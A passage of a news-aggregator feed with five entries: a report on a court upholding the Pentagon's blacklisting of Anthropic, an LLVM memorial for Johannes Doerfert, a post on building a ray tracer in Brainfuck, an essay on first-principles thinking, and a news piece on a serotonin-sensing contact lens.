    <content type="html">A federal appeals court panel in Washington, D.C., on Friday upheld the Pentagon&#39;s blacklisting of Anthropic, dealing a blow to the artificial intelligence company in its months-long battle with the Trump administration.&#xA;&#xA;The 2-1 decision rejected Anthropic&#39;s argument that the Department of Defense&#39;s ban on its Claude models was arbitrary, unauthorized and unconstitutional.&#xA;&#xA;&#34;The Department had ample support for its conclusion that the continued integration of Claude into the Department&#39;s information systems, by the Department or its contractors, presented a statutorily covered national-security risk,&#34; Judge Gregory Katsas wrote in the majority opinion for the U.S. Court of Appeals for the District of Columbia, which Judge Neomi Rao joined. Katsas and Rao were appointed by President Donald Trump.&#xA;&#xA;Judge Karen LeCraft Henderson, who was appointed by former President George H.W. Bush, dissented.&#xA;&#xA;In March, the DOD labeled Anthropic a supply chain risk, meaning the company purportedly threatened U.S. national security, after negotiations about how the military could use its Claude AI models spiraled out of control. The designation prevents the U.S. military from using Anthropic&#39;s models and blocks defense contractors from using them in their work with the agency.&#xA;&#xA;Anthropic&#39;s relationship with the Trump administration has been fraught ever since, and Trump has repeatedly slammed company&#39;s CEO Dario Amodei on social media. Amodei recently drew Trump&#39;s ire by calling for an industry wide slowdown, and he was not invited to the glitzy state dinner the White House hosted for Chinese President Xi Jinping on Thursday.&#xA;&#xA;&#34;The Trump Administration has stopped AI &#34;people&#34; from doing bad, or potentially bad, &#34;things,&#34; like Dario (Anthropic!), who is now pretending to be a &#34;perfect little angel&#34; - and we will continue to do so!,&#34; Trump wrote in a post on Truth Social on Monday.&#xA;&#xA;Anthropic sued the Trump administration in U.S. District Court in San Francisco and in the D.C. Circuit Appeals Court in March, seeking to reverse its blacklisting. The DOD relied on two distinct designations to justify its supply chain risk action, which meant they had to be litigated in two separate courts.&#xA;&#xA;A San Francisco federal judge ruled last month that one designation was illegal. The ruling Friday by the D.C. appeals court upheld the second designation.&#xA;&#xA;&#34;We respectfully disagree with the court&#39;s decision,&#34; an Anthropic spokesperson told CNBC in a statement. &#34;Another federal court has already held the government&#39;s parallel designation unlawful. We remain confident in our position and are considering all options, including further review.&#34;&#xA;&#xA;The appellate panel said it would delay the decision from taking immediate effect to give Anthropic time to petition the same panel for a rehearing or to seek an en banc rehearing of the case, by all of the judges on the D.C. Circuit Court of Appeals. Anthropic could also ask the Supreme Court to take the case.&#xA;&#xA;Before the clash between the two sides spilled into the public&#39;s view earlier this year, Anthropic served as an early partner across many U.S. agencies, including the DOD. Anthropic signed a $200 million contract with the Pentagon in July of 2025, but as the company began negotiating Claude&#39;s deployment on the DOD&#39;s GenAI.mil AI platform that September, talks collapsed.&#xA;&#xA;The DOD wanted Anthropic to grant the military unfettered access to its models across all lawful purposes, while Anthropic wanted assurance that its technology would not be used for fully autonomous weapons or domestic mass surveillance. They were unable to come to an agreement, and Defense Secretary Pete Hegseth accused Anthropic of attempting to &#34;to seize veto power over the operational decisions of the United States military.&#34;&#xA;&#xA;Katsas said Friday that Hegseth raised the &#34;deeply sobering&#34; idea that &#34;overly constrained&#34; AI models could shut down unexpectedly, as well as the potential that Claude might be &#34;subject to manipulation.&#34; While Anthropic refuted those claims, Katsas said decision-making authority ultimately rests with Trump and Hegseth.&#xA;&#xA;&#34;In our Republic, it is the President and the Secretary of War who must determine how best to balance the competing risks,&#34; Katsas wrote. &#34;In doing so here, the Secretary did not transgress any limits on his authority under the Supply Chain Security Act or the Constitution.&#34;&#xA;&#xA;**WATCH:** CEOs of OpenAI, Anthropic and Hugging Face to brief UN Security Council</content>
    <link href="https://www.cnbc.com/2026/09/25/pentagon-anthropic-ai-risk-appeals-court.html" rel="alternate"></link>
    <author>
      <name>cramer4next</name>
    </author>
  </entry>
  <entry>
    <title>Remembering Johannes Doerfert</title>
    <updated>2026-09-25T08:36:50+09:00</updated>
    <id>hn_49838247</id>
    <content type="html"># Remembering Johannes Doerfert&#xA;&#xA;It is with great sadness that we share the news of the passing of Johannes Doerfert, on September 17, 2026, at the age of 36, after a battle with cancer. Johannes was one of the most prolific and respected contributors to the LLVM compiler project, and his loss will be deeply felt.&#xA;&#xA;Johannes was born on November 5, 1989. He earned his Ph.D. in computer science from Saarland University in Saarbrücken, Germany, in 2018, where his research focused on applying polyhedral compiler technologies to low-level code. He had been an active LLVM contributor since 2014, working in the compiler design lab of Prof. Sebastian Hack, and became a core developer on the Polly polyhedral-optimization project as early as 2012.&#xA;&#xA;Over the following decade, Johannes built a career at the intersection of compiler research and high-performance computing, most recently as a researcher focused on OpenMP, LLVM, and parallel program optimization.&#xA;&#xA;## Contributions to LLVM&#xA;&#xA;Johannes’s worked on many parts of the LLVM Project, and these are just a few of his contributions:&#xA;&#xA;- **The Attributor framework.** Johannes designed and championed the Attributor, LLVM’s versatile inter-procedural fixpoint iteration framework for deducing and propagating function and argument attributes across a program. He introduced it to the community at the 2019 LLVM Developers’ Meeting, and it has since become an important piece of LLVM’s interprocedural optimization infrastructure.&#xA;- **OpenMP and GPU offloading.** Johannes became LLVM’s code owner for OpenMP target offloading in 2021, leading the compiler and runtime support that lets OpenMP programs run efficiently on GPUs across NVIDIA, AMD, and Intel hardware. His work spanned the OpenMP runtime, just-in-time compilation and link-time optimization for target offloading, and techniques for near-zero-overhead GPU execution.&#xA;- **Polly and polyhedral optimization.** Early in his career, Johannes was a core developer of Polly, LLVM’s polyhedral loop optimization infrastructure, and published research on polyhedral scheduling in the presence of reductions and on optimistic loop optimization.&#xA;&#xA;He authored or co-authored dozens of papers on compiler optimization, automatic differentiation of GPU kernels, performance portability, and OpenMP.&#xA;&#xA;## Community Building&#xA;&#xA;Johannes helped organize EuroLLVM 2017 in Saarbrücken, Germany, the LLVM-HPC workshop at CGO from 2017 onward, and the LLVM events at ISC starting in 2019, helping join together the LLVM and HPC communities.&#xA;&#xA;He was frequently in attendance at the LLVM Developers’ Meeting Newcomer and Community.o sessions. He welcomed newcomers to the LLVM Developers’ Meetings and shared his advice and wisdom on how to get more involved in the project.&#xA;&#xA;Johannes also held LLVM office hours on a weekly basis, where he answered questions on OpenMP, LLVM-IR, interprocedural optimizations, Attributor, workshops, research, and more.&#xA;&#xA;## Mentoring the Next Generation&#xA;&#xA;Johannes was a Google Summer of Code mentor for LLVM for several years and helped student contributors on various projects. Here are just a few:&#xA;&#xA;- **2016**&#xA;  - Polly as an Analysis Pass in LLVM&#xA;- **2019**&#xA;  - Improve (function) attribute inference (with Brian Homerding)&#xA;  - Improve (function) attribute inference - 2 (with Brian Homerding)&#xA;  - Generation of Annotated Sources (with Brian Homerding)&#xA;- **2020**&#xA;  - Improve Parallelism-Aware Analyses and Optimizations (with Jon Chesterfield)&#xA;  - Advanced Heuristics for Ordering Compiler Optimization Passes (with EJ Park and Giorgis Georgakoudis)&#xA;  - Improve inter-procedural analyses and optimizations (with Brian Homerding)&#xA;  - Advanced Heuristics for Ordering Compiler Optimization Passes - 2 (with EJ Park and Giorgis Georgakoudis)&#xA;  - Latency Hiding for Host to Device Memory Transfers (with Jon Chesterfield)&#xA;  - Improve inter-procedural analyses and optimizations - 2 (with Brian Homerding)&#xA;  - Deduce attributes for non-exact functions (with Brian Homerding)&#xA;- **2021**&#xA;  - Learning Loop Transformation Heuristics (with Mircea Trofin)&#xA;  - Integrate custom derivatives of Numerical Computing routines like BLAS and Eigen into Enzyme (with William Moses and Vassil Vassilev)&#xA;  - Improving OpenMP code generation with prediction of runtime parameters (with Jon Chesterfield)&#xA;  - Integrate Enzyme into Rust to Provide High-performance Differentiation in Rust (with William Moses)&#xA;  - Improve inter-procedural analyses and optimizations (with Jon Chesterfield)&#xA;  - Use official isl C++ bindings for polly (with Michael Kruse)&#xA;  - Integrating Enzyme into Rust (with William Moses)&#xA;- **2022**&#xA;  - Non-Determinacy based optimizations in Parallel Programs (with William Moses)&#xA;  - Learning loop transformation policy and its effect on RISC-V (with Mircea Trofin)&#xA;- **2023**&#xA;  - Machine Learning Guided Ordering of Compiler Optimization Passes (with Tarindu Jayatilaka and Mircea Trofin)&#xA;- **2024**&#xA;  - The 1001 Thresholds in LLVM (with Jan Hückelheim and William Moses)&#xA;  - GPU Libc Benchmarking (with Joseph Huber)&#xA;  - Statistical Analysis of LLVM-IR Compilation (with Aiden Grossman)&#xA;- **2025**&#xA;  - Improve Rust-Enzyme Reliability and Compile Times (with Manuel Drehwald and Kevin Sala)&#xA;  - LLVM Compiler Remarks Visualization Tool for Offloading (with Jose M Monsalve Diaz and Kevin Sala)&#xA;&#xA;## A Decade at the Podium&#xA;&#xA;Besides the countless code contributions, mentorship, and community building, Johannes was a constant presence at US LLVM Developers’ Meetings and EuroLLVM. He spoke **at 11 meetings across 11 years (2015–2024)**, for at least 26 speaking sessions and even more that he helped author.&#xA;&#xA;- **2015 — US DevMtg (San Jose)**&#xA;- **2016 — EuroLLVM (Barcelona)**&#xA;  - Analyzing and Optimizing your Loops with Polly (with Tobias Grosser)&#xA;  - BoF: Polly - Loop Optimization Infrastructure (with Tobias Grosser and Zino Benaissa)&#xA;- **2017 — US DevMtg (San Jose)**&#xA;  - BoF: Thoughts and State for Representing Parallelism with Minimal IR Extensions in LLVM (with Xinmin Tian, Hal Finkel, Tb Schardl and Vikram Adve)&#xA;  - Polyhedral Value &amp; Memory Analysis&#xA;- **2017 — EuroLLVM (Saarbrücken)**&#xA;  - Co-organizer&#xA;- **2018 — US DevMtg (San Jose)**&#xA;  - Optimizing Indirections, using abstractions without remorse&#xA;  - BoF: Ideal versus Reality: Optimal Parallelism and Offloading Support in LLVM (with Xinmin Tian, Hal Finkel, TB Schardl, and Vikram Adve)&#xA;- **2019 — EuroLLVM (Brussels)**&#xA;  - Compiler Optimizations for (OpenMP) Target Offloading to GPUs&#xA;  - BoF: IPO — Where are we, where do we want to go? (with Kit Barton)&#xA;- **2019 — US DevMtg (San Jose)**&#xA;  - The Attributor: A Versatile Inter-procedural Fixpoint Iteration Framework&#xA;  - Tutorial: The Attributor: A Versatile Inter-procedural Fixpoint Iteration Framework&#xA;  - Tutorial: An overview of LLVM&#xA;  - Poster: Attributor, a Framework for Interprocedural Information Deduction (with Hideto Ueno and Stefan Stipanovic)&#xA;- **2020 — US DevMtg (virtual)**&#xA;  - The Present and Future of Interprocedural Optimization in LLVM (with Brian Homerding, Stefanos Baziotis, Stefan Stipanovic, Hideto Ueno, Kuter Dinel, Shinji Okumura, Luofan Chen)&#xA;  - (OpenMP) Parallelism-Aware Optimizations (with S. Stipanovic; H. Mosquera; J. Chesterfield; G. Georgakoudis; J. Huber)&#xA;  - Tutorial: A Deep Dive into the Interprocedural Optimization Infrastructure (with B. Homerding; S. Baziotis; S. Stipanovic; H. Ueno; K. Dinel; S. Okumura; L. Chen)&#xA;- **2021 — US DevMtg (virtual)**&#xA;  - Panel: Machine Learning Guided Optimizations in LLVM&#xA;  - Optimizing OpenMP GPU Execution in LLVM (with Giorgis Georgakoudis and Joseph Huber)&#xA;- **2022 — US DevMtg (San Jose)**&#xA;- **2023 — EuroLLVM (Glasgow)**&#xA;- **2024 — US DevMtg (Santa Clara)**&#xA;&#xA;## Johannes Will Be Missed&#xA;&#xA;Beyond the commits, the talks, and the papers, those who worked with Johannes remember him as a person full of life and a good sense of humor. He is someone who signed his social media bio simply as “LLVM Developer, OpenMP contributor, Beer drinker, not in this order.”&#xA;&#xA;A memorial service will be held on Saturday, October 3, 2026, from 1:00 to 5:00 PM at San Jose Funeral Service in San Jose, California, with a separate service planned in Germany. He is survived by his wife, Xuejin Zhang, his father, Jürgen Doerfert, and other family and friends around the world.&#xA;&#xA;In lieu of flowers, his family has asked that those who wish to honor his memory consider a donation to the LLVM Foundation (either through Everloved or directly), the organization whose mission he spent his career supporting and advancing. **A very generous donor has agreed to match 50K in donations in honor of Johannes.** If you donate directly to the LLVM Foundation via a DAF, please indicate in memory of Johannes Doerfert.&#xA;&#xA;More details, and a place to share memories and condolences, can be found on Johannes’s memorial page.</content>
    <link href="https://blog.llvm.org/posts/2026-09-24-rememberingjohannesdoerfert/" rel="alternate"></link>
    <author>
      <name>sdko</name>
    </author>
  </entry>
  <entry>
    <title>I wrote a ray tracer in Brainfuck</title>
    <updated>2026-09-25T19:08:41+09:00</updated>
    <id>hn_49842409</id>
    <content type="html">## Writing a ray tracer in Brainfuck&#xA;&#xA;As I was preparing for a systems programming competition in C++, I began to relearn CMake, as Cargo had spoilt me too much in the meantime, and I noticed an interesting claim in the tutorial.&#xA;&#xA;&gt; Oftentimes the correct answer is to write a tool in a general purpose programming language which solves the problem, and teach CMake how to invoke that tool as part of the build process. Code generation, cryptographic signature utilities, and even ray-tracers have been written in CMake Language, but this is not a recommended practice.&#xA;&#xA;Having written a raytracer earlier, and re-written it for the GPU, this statement caught my eye and made me wonder what would be an even better language to write a raytracer in.&#xA;&#xA;The last re-write involved writing code which had little of a first-principles based approach and mostly depended on a comparatively more complex set of APIs. So I picked the simplest language I knew, BF, because a simple language obviously results in a very simple codebase. In fact, codebases in BF regularly tend to be only a few lines long. Further, Muller’s comment in the README made me want to show a counter example.&#xA;&#xA;The code is available at mTvare6/rayfuck.&#xA;&#xA;## Primer&#xA;&#xA;BF is a decidedly simple language, involving only 8 operations and one “data structure”: a one-sided infinite tape of cells, each capable of storing a `u8`.&#xA;&#xA;On seeing the character `&gt;`, the data pointer, which points to a cell on the tape, moves rightward, and vice versa on `&lt;`.&#xA;&#xA;I/O is managed through `,` and `.`. The first stores the input byte where the data pointer points and the latter prints it out.&#xA;&#xA;The only primitives other than I/O which allow changing a value are increment and decrement at the data pointer, through `+` and `-`.&#xA;&#xA;The limitations should be obvious: there are no n &gt; 1 registers as other machines tend to have, no instruction operating on more than one cell, and no instructions for addition or multiplication.&#xA;&#xA;The last ingredient required to make BF Turing-complete is its loop, written using `[` and `]`. When the token `[` is met, the runtime checks the cell at the data pointer: if it is zero, execution jumps past the matching `]`, otherwise it enters the loop. At `]`, it returns to the matching `[` if the cell is non-zero and exits the loop otherwise.&#xA;&#xA;A quick exercise would be writing a `cat` program, try writing one with just 5 characters to get some intuition about the environment.&#xA;&#xA;## Premeditation&#xA;&#xA;Having read about it before starting this, I decided to avoid looking up any result or implementation detail and to write down as much as possible from first principles. To keep the scope minimal, and the program an obvious raytracer, I decided to have it render the exact image rendered through the Metal section of RIW.&#xA;&#xA;The C code was a bit too complex regardless, and writing a C parser was clearly out of scope. Writing an unmaintained C parser is something better handled by Anthropic.&#xA;&#xA;I decided that every double \[and other datatype like bool\] would be represented by combining cells, with half the bits representing the fractional part and the other half representing the integer part, effectively placing a fixed binary point between them. I later got to know that this is called a Q format. Going with the cheaper signed Q8.8 would give a resolution of `1/256` and a range of approximately `[-128, 128)`. But clearly, that wouldn’t be enough, as the sphere used for the ground in the scene had to have `r=1000` to appear flat, so I went with the more expensive signed Q16.16 format. It has a resolution of `1/2^16` and a range of `[-2^15, 2^15)`, which is sufficient.&#xA;&#xA;I decided to have the code converted to an SSA-like format \[and decided this’ll be the only job for an LLM\], where recursive code is made iterative, and variables defined in functions are prefixed in a Hungarian-style notation to avoid name collisions during address lookup for a name.&#xA;&#xA;Similarly, separating the parsing and codegen seemed necessary, dividing complexity into two code regions, with an intermediate “DSL” being used as an IR. The DSL contained simple operations such as `abs`, `add`, `and`, `call`, `copy`, `div`, `else`, `end`, `eq`, `func`, `ge`, `gt`, `if`, `int`, `le`, `lt`, `mul`, `neg`, `not`, `or`, `print2`, `print3`, `set`, `sqrt`, `sub`, `text`, `var`, and `while`.&#xA;&#xA;The next tricky part was a few library calls. The ones used were `sqrt`, `rand` and `abs`. Initially I planned on using a two-state solution like:&#xA;&#xA; `A = (A-B) % 256&#xA;B = (B+1) % 256&#xA;or&#xA;B = (B+A+p) % 256 # for some prime p&#xA;`&#xA;&#xA;but most of these variants have a poor period. I decided to go with the simpler&#xA;&#xA; `A = (5*A + 1) % 256&#xA;`&#xA;&#xA;given that it is guaranteed to repeat only after a full sequence of 256 values, which isn’t too bad for this use-case \[that is, supersampling anti-aliasing\].&#xA;&#xA;`sqrt` has one obvious candidate, Heron’s formula \[of which my memory was refreshed within the same CMake tutorial\]. But it was pretty obvious it’d be bad, given it involved division. Repeated subtraction, while producing smaller generated code \[which is better, as the interpreter moves less\], was still relatively expensive to do.&#xA;The other candidates were the Taylor series and the “School Method”, which involves long-division.&#xA;&#xA; `sqrt(1 + x) = 1 + x/2 - x^2/8&#xA;y = 2^16*x&#xA;sqrt(2^16 + y) / 2^8  = (1 + y/2^17 - y^2/2^35 )&#xA;sqrt(y) / 2^8  = (1 + (y - 2^16)/2^17 - (y - 2^16)^2/2^35 )&#xA;`&#xA;&#xA;Plotting this on Desmos revealed that the fit was poor below an encoded value of 20k, that is, below roughly `0.305`, which was a pretty important region.&#xA;This left me with the long-division method, which was pretty simple. If the real value was `x`, then the represented value was:&#xA;&#xA; `N = x * 2^16&#xA;`&#xA;&#xA;To represent `sqrt(x)`, we need:&#xA;&#xA; `N&#39; = sqrt(x) * 2^16&#xA;isqrt(N) = sqrt(x) * 2^8&#xA;isqrt(2^16 * N) = sqrt(x) * 2^16 = N&#39;&#xA;`&#xA;&#xA;`isqrt` is justified here, as a difference of one in the encoded result changes the decoded square root by less than `1/2^16`, or approximately `0.00001526`.&#xA;&#xA;And finally, the whole variable map and corresponding BF addresses would be maintained with a dictionary.&#xA;&#xA;## Implementation&#xA;&#xA;With the theoretical bits set up, only clearly simple implementation details were left. Two important primitives were `move` and `copy`.&#xA;&#xA; `[a, 0]&#xA;`&#xA;&#xA;Move works by continually lowering a value until the cell at the initial data pointer becomes zero, and incrementing the other cell equally every time.&#xA;&#xA; `[ # start loop&#xA;    - # decrement&#xA;    &gt;+ # move right and increment&#xA;    &lt; # come back, this cell is used to control the loop&#xA;]&#xA;`&#xA;&#xA;as one-liner&#xA;&#xA; `[-&gt;+&lt;]&#xA;`&#xA;&#xA;And copy works as below, starting with this array:&#xA;&#xA; `[a, 0, 0]&#xA;`&#xA;&#xA;using the code.&#xA;&#xA; `[-&gt;+&gt;+&lt;&lt;]&#xA;`&#xA;&#xA;Turning it into:&#xA;&#xA; `[0, a, a]&#xA;`&#xA;&#xA;And now, if needed, the terminal `a` can be moved inward.&#xA;&#xA;Given that addition, and later division, would involve repeated use of temporary values, which have to be near the value to avoid moving the data pointer around too much, every value in the `map` also has its temporary-variable slots nearby. These also provide carry cells and other useful scratch space, keeping copies contained.&#xA;&#xA;Multiplication was similarly straightforward, involving multiplying each cell, storing the results and adding them together later. The multiplication step is taken care of through repeated addition. For multiplying two cells, one of them is copied to a temporary place and used as the outer loop, and the other is copied once for every iteration to act as the inner loop. Every iteration of the inner loop increments the result once.&#xA;&#xA; `[a, b, a-&gt;0, b-&gt;0, a + ... + a]&#xA;`&#xA;&#xA;Here `a` runs out every time and `b` is decremented when `a` is zeroed, producing `b` copies of `a`.&#xA;&#xA;For the four-cell values, every cell in one is paired with every cell in the other. A multiplication of the cells at `i` and `j` is added at `i+j` in an eight-cell result.&#xA;&#xA; `[a0, a1, a2, a3] * [b0, b1, b2, b3]&#xA;result[i+j] += a_i*b_j&#xA;`&#xA;&#xA;Since both inputs already had `2^16` in their representation, the lowest 2 cells are discarded when copying back the result.&#xA;&#xA; `N_1 = x_1 * 2^16&#xA;N_2 = x_2 * 2^16&#xA;( N_1 * N_2 ) / 2^16 = N = (x_1 * x_2) * 2^16&#xA;`&#xA;&#xA;Division was slightly less direct but could still be done the way manual long-division is done, by having the dividend be read from its most significant cell and at every step, the old remainder is carried over a cell onto the next.&#xA;&#xA; `R = R * 10 + A[next] # school&#xA;R = R * 256 + A[next] # here&#xA;`&#xA;&#xA;The divisor then is subtracted from this remainder repeatedly, and one gets added to the result cell. When the remainder becomes negative, the step is reverted and we move to the next cell.&#xA;&#xA; `while R &gt;= D:&#xA;    R -= D&#xA;    result += 1&#xA;`&#xA;&#xA;This requires at most 255 subtractions per cell as we divide across cells and combine them later.&#xA;&#xA;Just as the representation is shifted rightward inflating itself during multiplication, division loses information due to the leftward shift, and some shifting is required in its representation before dividing.&#xA;&#xA; `N_1 = x_1 * 2^16&#xA;N_2 = x_2 * 2^16&#xA;(N_1 / N_2) * 2^16 = (x_1 / x_2) * 2^16 # bits already lost&#xA;(N_1 * 2^16) / N_2 = (x_1 / x_2) * 2^16&#xA;`&#xA;&#xA;Throughout these operations, the signs are removed first, and the result is made negative if only one input was negative.&#xA;&#xA;Comparisons share the same smaller operation. Two cells are decremented together until at least one becomes zero, and this continues until there is a difference or the temporary copies are completely zeroed. There was some minor processing involving adding `2^7` to the most significant cell, as otherwise negative numbers technically have a higher value when viewed plainly as bytes.&#xA;&#xA; `00 ... 7f  -&gt; positive half&#xA;80 ... ff  -&gt; negative half&#xA;`&#xA;&#xA;after adding 128 and wrapping over&#xA;&#xA; `80 ... ff  -&gt; positive half&#xA;00 ... 7f  -&gt; negative half&#xA;`&#xA;&#xA;Boolean checks involved reading the cells and setting the output to one if any of them was non-zero, to take into account the truthiness tendency of C. The constructed representation had the lowest bit set for true and all bits zero for false. Boolean operations such as `and`, `or` and `not` worked using that bit representation.&#xA;&#xA;Negation uses the `-x = ~x + 1` trick. Every cell `x` is complemented \[through `255-x`\], and then one is added to the lowest cell, carrying over. `abs` only checks the highest bit of the last cell and performs this negation if it is set.&#xA;&#xA;Given the earlier decision to scope variable names by function and use SSA-style code, functions were extremely straightforward. The codegen notes the function body under its name and emits it inline when `call func` is seen.&#xA;&#xA;Given loops, `if` was straightforward.&#xA;&#xA; `[- body ]&#xA;`&#xA;&#xA;For an `else`, another flag starts at one and is cleared by the first body.&#xA;&#xA;And `while` likewise.&#xA;&#xA; `condition&#xA;[&#xA;    body&#xA;    move to condition and calculate&#xA;]&#xA;`&#xA;&#xA;## Artifact&#xA;&#xA;The program was finally `23MB`, which is larger than the image itself \[which was about `0.9MB`\], which makes it a rather poor choice for a compression technique.&#xA;&#xA;Using crude calculations, I found that it did 100 ray calculations per minute, that is, one pixel per minute. Given that the image was `400x225`, my initial estimate should have been about 62.5 days on my laptop with no further optimizations, but I realized I’d only seen the sky, the bouncing around the spheres would delay the ETA by a lot. So the image above is an approximation of what would be rendered, made using the C code. Of the `1229` \[out of 90k\] pixels generated at the time of writing, only `10` differ, mostly by a value of one.&#xA;&#xA;Some optimisation is possible. Losing precision to reduce the number of cells touched is the first option if the ground can be approximated worse. The normalization step for random vectors can also be skipped, although that changes the scattering distribution, so it would no longer run the exact bit of code I aimed to reproduce here.&#xA;&#xA;## Update&#xA;&#xA;A comment on my Reddit thread asked how I might improve it with fork/join primitives. Finding the challenge interesting, I got nerd-sniped into improving the JIT interpreter I used \[helped by some earlier work\] which led to a massive improvement in its performance. The actual render looks a bit like a Van Gogh painting, likely due to precision errors.</content>
    <link href="https://epestr.com/blog/writing-a-ray-tracer-in-brainfuck/" rel="alternate"></link>
    <author>
      <name>epestr</name>
    </author>
  </entry>
  <entry>
    <title>First Principles Thinking</title>
    <updated>2026-09-25T22:55:37+09:00</updated>
    <id>hn_49844736</id>
    <content type="html"># First Principles Thinking&#xA;&#xA;I’ve re-read Sunil Pai’s “the senior engineer death spiral” several times this week. It’s very good. If you haven’t read it, start there.&#xA;&#xA;It’s resonating with me because I think almost every senior engineer has felt some version of being stuck. You get good at what you do, then things change, and the experience you’ve built up can make it hard to approach things differently.&#xA;&#xA;(Also, still getting over the fact that this is a different Sunil in software engineering.)&#xA;&#xA;Pai talks about focusing on momentum instead of outcomes, and I fully agree. When I’m stuck, I break the work down to the smallest thing I can actually accomplish. Getting something done usually helps me figure out what to do next.&#xA;&#xA;After sitting with his post, I kept coming back to first principles thinking.&#xA;&#xA;I’ve been lucky to work with and manage a lot of great senior engineers. When I think about what made them great, I keep landing on the same thing: they seemed to know what needed to be done. There’s an intuition there that I’ve always admired.&#xA;&#xA;Some of the best I’ve worked with came from customer support or services. Others taught themselves to code or started as designers or entrepreneurs. They took different paths into engineering, but they shared a habit of thinking from first principles.&#xA;&#xA;They’d ask why we were building something and what it would do for the people using it. They could connect what was happening in the codebase to what was happening outside it. That understanding helped them keep things simple.&#xA;&#xA;I think that’s another way to build the momentum Pai describes. Consider the simplest thing you could do first. It’s often enough.&#xA;&#xA;## Transitioning to the agentic era&#xA;&#xA;I’ve had a lot of conversations with friends and coworkers about the shift to agentic development. The people who seem to be vibing with it are usually the ones who already think this way.&#xA;&#xA;This is the first major “simulation switch-up” where I’ve really had to embrace how much I don’t know. The engineers I see keeping up with what’s possible are willing to put what they know in a box for a while as they work with agents. They’ll try something before assuming an old constraint still applies.&#xA;&#xA;## Put it in a box&#xA;&#xA;This is the hard part for me. Take your experience, what you’ve learned, and what you currently believe is true, and set it aside long enough to look at the problem again.&#xA;&#xA;I still want to draw on that experience. But it’s easy to let a past project or a familiar technical limitation decide the answer before I’ve understood the problem in front of me.&#xA;&#xA;When I step back and ask what we’re actually trying to do, why it matters, and how the pieces connect, I usually find more ways forward than I expected.&#xA;&#xA;There’s been a lot of talk about what’s real with AI and what’s inflated. I think if you set your experience aside and look at what’s possible with fresh eyes, there’s a whole lot to admire, and a lot worth rethinking. Approaching it from first principles means starting with what we’re trying to do and asking how AI could help. It’s easy to get excited about the technology before you’ve answered that question.&#xA;&#xA;That brings me back to the momentum Pai describes. First principles thinking makes working that way feel natural. When you truly understand what you’re trying to accomplish, it’s easier to take a small step, learn from it, and keep going. If you’re doing it right, working with agents lets that back-and-forth happen much faster. You get faster learning loops and more momentum, oriented around deep understanding. **To me, that’s the new flow state.**&#xA;&#xA;Long Live Human Thinking.</content>
    <link href="https://sunilsadasivan.com/writing/first-principles-thinking/" rel="alternate"></link>
    <author>
      <name>sunils34</name>
    </author>
  </entry>
  <entry>
    <title>Lab on a Contact Lens Can Measure Stress Through Serotonin</title>
    <updated>2026-09-26T07:28:02+09:00</updated>
    <id>hn_49850781</id>
    <content type="html">A “lab on a contact lens” can measure the neurotransmitter serotonin in tears, potentially offering a novel wearable method to noninvasively analyze levels of stress, a new study finds.&#xA;&#xA;“Tears could become a practical, noninvasive source of biochemical information that can be measured repeatedly over time,” says Yangzhi Zhu, director of the biomedical device center at the Terasaki Institute for Biomedical Innovation in Los Angeles. “Most biomarker testing today still relies on blood draws or isolated laboratory measurements, which provide only snapshots. A wearable platform based on a contact lens could eventually make it possible to follow biochemical changes more continuously and in everyday settings.”&#xA;&#xA;Stress is linked to the development of many disorders, such as depression and schizophrenia. Currently, doctors often measure stress using questionnaires or diaries, but these are highly subjective, complicating accurate evaluations. In the new study, researchers sought to create a device that measured serotonin for a potentially objective method to gauge stress.&#xA;&#xA;Serotonin, often called a “feel-good” hormone, plays a central role in regulating mood. It’s found mostly in the digestive tract, blood, and nervous system, but small amounts can also be found in tears. As such, the scientists explored whether tears might offer a noninvasive, easily accessible route to analyze serotonin levels. However, because serotonin is only present at very low concentrations, Zhu says, “a sensor needs to be extremely sensitive while still distinguishing serotonin from other molecules in tears.”&#xA;&#xA;## Developing a smart contact lens&#xA;&#xA;Zhu and his team fabricated soft, reusable hydrogel lenses encapsulating flexible biocompatible graphene and silver electrodes printed in serpentine patterns designed to tolerate repeated deformation. A compound called ferrocene was bonded onto the graphene to help detect serotonin in a strong, repeatable manner.&#xA;&#xA;The researchers tested these smart contact lenses in lab dishes with commercially available artificial tears that they laced with serotonin. The lenses could detect as little as 72-trillionths of a mole per liter of serotonin, well below the average serotonin concentration in human tears of roughly 15-billionths of a mole per liter. Experiments also showed the lenses could withstand more than 28 days of repeated flipping, folding, stretching, and twisting while staying functional.&#xA;&#xA;The scientists also tested the lenses in lab dishes on tears collected from 10 volunteers five minutes before, immediately after, and roughly 30 minutes after they each performed a pair of stressful tasks—public speaking and math challenges. As expected, serotonin levels in tears fell with increased stress.&#xA;&#xA;In addition, the researchers placed one of their lenses on the eye of an anesthetized live pig for about five minutes. The lens could detect serotonin when the eye was given artificial tears containing 50 and 100 nanomolar levels of the hormone. In addition, the lens caused no sign of infection or irritation.&#xA;&#xA;“We were able to detect very low concentrations of serotonin in tears using a soft contact-lens platform while preserving the transparency, flexibility, and comfort-related properties of the lens,” Zhu says.&#xA;&#xA;When the lenses were used to detect serotonin in the lab and with the pig, the scientists connected the lenses to readout equipment using soft flexible nickel wires. Zhu and his colleagues have developed a proof-of-concept wireless version of their lens incorporating a miniaturized near-field communications (NFC) chip and stretchable antenna for battery-free sensing and smartphone-based data transmission. However, they say further optimization, safety testing, and validation are needed. (Corrective versions of these lenses could also be made, Zhu says.)&#xA;&#xA;## Promise for noninvasive biosensing&#xA;&#xA;All in all, “I think the work highlights an exciting direction in wearable biosensing—moving beyond physical signals such as heart rate and temperature toward continuous monitoring of molecular information,” says Wei Gao, a professor of medical engineering at the California Institute of Technology who did not take part in this research. “The eye and tear fluid provide an interesting interface for this because they may enable repeated biochemical measurements without blood sampling.”&#xA;&#xA;In tests where the scientists limited the movements of mice for a few hours per day in order to increase their stress, the researchers found that serotonin levels dropped in both the rodents’ blood and tears to a similar degree. These findings suggest that tears may provide a noninvasive window into blood serotonin levels, but more testing is needed before doctors might use these lenses in medicine, Zhu says.&#xA;&#xA;“We need to understand how tear serotonin varies across different individuals, times of day, stress conditions, ocular surface states, and disease conditions, and how those measurements relate to blood biomarkers and clinical assessments,” Zhu says.&#xA;&#xA;The researchers also measured the stress hormone cortisol in the lab tests of the tears as they used the lenses to measure serotonin. A number of techniques are already being developed to monitor cortisol, such as patches measuring it in sweat or fluid under the skin. Zhu says measuring both serotonin and cortisol can provide complementary information—cortisol measures immediate, short-term responses to stress, while serotonin gives a picture of what a person faces in the long term. He adds that detecting serotonin is also more challenging and shows what they can do with their technology.&#xA;&#xA;In the future, the scientists would like to move beyond measuring only serotonin using their lenses, and to analyzing multiple molecules at the same time for “a much richer picture of a person’s physiological state,” Zhu says. “The long-term goal is to develop a comfortable, wearable 